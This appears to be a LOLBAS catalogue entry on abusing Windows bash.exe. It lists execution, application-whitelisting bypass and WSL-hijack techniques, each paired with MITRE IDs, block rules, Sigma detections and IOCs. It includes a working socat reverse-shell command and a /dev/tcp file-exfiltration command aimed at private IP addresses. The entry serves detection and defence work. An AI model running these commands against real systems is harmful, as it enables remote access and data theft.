LOL · Binary

Bash.exe

5 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Executes executable from bash.exe

Use Performs execution of specified file, can be used as a defensive evasion.

bash.exe -c "{CMD}"

Context: user
Native: Execute
MITRE: T1202
Detection: BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe
Refs: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
lolbas-project.github.io/lolbas/Binaries/Bash/

Execute

Execution Windows

Executes a reverse shell

Use Performs execution of specified file, can be used as a defensive evasion.

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

Context: user
Native: Execute
MITRE: T1202
Detection: BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe
Refs: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
lolbas-project.github.io/lolbas/Binaries/Bash/

Execute

Execution Windows

Exfiltrate data

Use Performs execution of specified file, can be used as a defensive evasion.

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

Context: user
Native: Execute
MITRE: T1202
Detection: BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe
Refs: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
lolbas-project.github.io/lolbas/Binaries/Bash/

AWL Bypass

AWL / Policy Bypass Windows

Executes executable from bash.exe

Use Performs execution of specified file, can be used to bypass Application Whitelisting.

bash.exe -c "{CMD}"

Context: user
Native: AWL Bypass
MITRE: T1202
Detection: BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe
Refs: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
lolbas-project.github.io/lolbas/Binaries/Bash/

Execute

Execution Windows

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

Use Execute a payload as a child process of `bash.exe` while masquerading as WSL.

bash.exe

Context: user
Native: Execute
MITRE: T1218
Detection: BlockRule: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe
Refs: docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
lolbas-project.github.io/lolbas/Binaries/Bash/